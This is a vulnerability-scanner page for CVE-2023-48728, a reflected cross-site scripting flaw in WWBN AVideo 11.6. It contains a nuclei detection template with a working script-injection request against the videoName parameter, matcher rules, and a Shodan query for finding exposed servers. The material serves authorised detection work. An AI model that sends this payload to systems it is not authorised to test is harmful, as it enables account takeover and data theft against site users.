WWBN AVideo 11.6 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.3%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

A reflected XSS vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.6 and dev master commit 3c6bb3ff, allowing arbitrary Javascript execution.

Impact

Successful exploitation could lead to unauthorized access to sensitive information or account takeover.

Fix

Sanitize and validate user input to prevent XSS attacks.

How to confirm it

Send: GET {{BaseURL}}/objects/functiongetOpenGraph.php?videoName=123+--><script>alert(document.domain)</script>
Positive when: contains_all(body, "<script>alert(document.domain)</script>", "OpenGraph no video") and status_code == 200 || status_code == 500 and contains(header, "text/html")

Run it with nuclei: nuclei -id CVE-2023-48728 -u <target>

The full check

id: CVE-2023-48728

info:
  name: WWBN AVideo 11.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A reflected XSS vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.6 and dev master commit 3c6bb3ff, allowing arbitrary Javascript execution.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive information or account takeover.
  remediation: |
    Sanitize and validate user input to prevent XSS attacks.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2023-1883
    - https://nvd.nist.gov/vuln/detail/CVE-2023-48728
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-48728
    cwe-id: CWE-79
    epss-score: 0.02268
    epss-percentile: 0.83186
    cpe: cpe:2.3:a:wwbn:avideo:3c6bb3ff:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wwbn
    product: avideo
    shodan-query: html:"AVideo"
  tags: cve,cve2023,avideo,xss,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/objects/functiongetOpenGraph.php?videoName=123+--><script>alert(document.domain)</script>"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>", "OpenGraph no video")'
          - 'status_code == 200 || status_code == 500'
          - 'contains(header, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from